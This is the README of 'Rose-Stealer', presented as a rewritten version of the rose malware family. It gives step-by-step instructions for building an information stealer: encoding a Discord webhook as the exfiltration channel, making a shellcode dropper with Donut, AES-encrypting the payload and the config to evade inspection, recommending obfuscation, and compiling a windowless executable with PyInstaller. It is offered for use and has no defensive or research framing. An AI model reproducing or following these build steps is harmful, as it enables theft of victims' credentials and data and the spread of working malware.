🐍 Rose-Stealer

Rewritten version of the rose malware family.

[!CAUTION] I am not liable for anything that is happening with this software. If you don't trust it, read the source.

[!IMPORTANT] This is a small rewritten version for the rose implant. I don't provide support for this. You should know what you're doing.

Requirements

• Python 3.10+
• Python-Libs installed (pip install -r assets\requirements.txt)

Setup

Download the source code of this repository.

• Encode your Discord Webhook: python utils\b85_encode.py DISCORD_WEBHOOK
  • Place the output in the config.ini file

    [main]
    # base 85 encoded and hexified discord webhook
    discord_webhook=DISCORD_WEBHOOK <--- Put the encoded webhook here

• File dropper if wanted:
  • generate shellcode with Donut for an executable file to e.g. client\ shellc.dat
  • AES encrypt the shellcode file:
  • python utils\aes_encrypt.py payload\shellc.dat payload\shellc.aes
  • Copy the output key into your config.ini file like this:

    [shellcode_loader]
    # file path storing AES encrypted and compressed shellcode
    shellcode_file_name=shellc.aes
    # hexified 32 byte (128-bit AES key)
    shellcode_key=AES_KEY <--- Put the AES key here

• Edit the config file and change the False statements accordingly to True for your needs.
• Now encrypt the config file:
  • python utils\aes_encrypt.py payload\config.ini payload\config.aes
  • Put the output key you received into the malware source code on line 380:

    key = "AES_KEY"  # hexified 32 byte key (128-bit) <--- Put the AES key here

    (Additionally i would recommend to add obfuscation on the script now.)

• You can now compile it into a binary:
  • Dropper enabled: pyinstaller --noconsole --onefile --clean --add-data "payload\shellc.aes;." --add-data "payload\config.aes;." --hidden-import cryptography --hidden-import pywin32 --hidden-import pillow --hidden-import aiohttp payload\main.py
  • Dropped disabled: pyinstaller --noconsole --onefile --clean --add-data "payload\config.aes;." --hidden-import cryptography --hidden-import pywin32 --hidden-import pillow --hidden-import aiohttp payload\main.py

Yay! Your executable is now inside of the dist folder.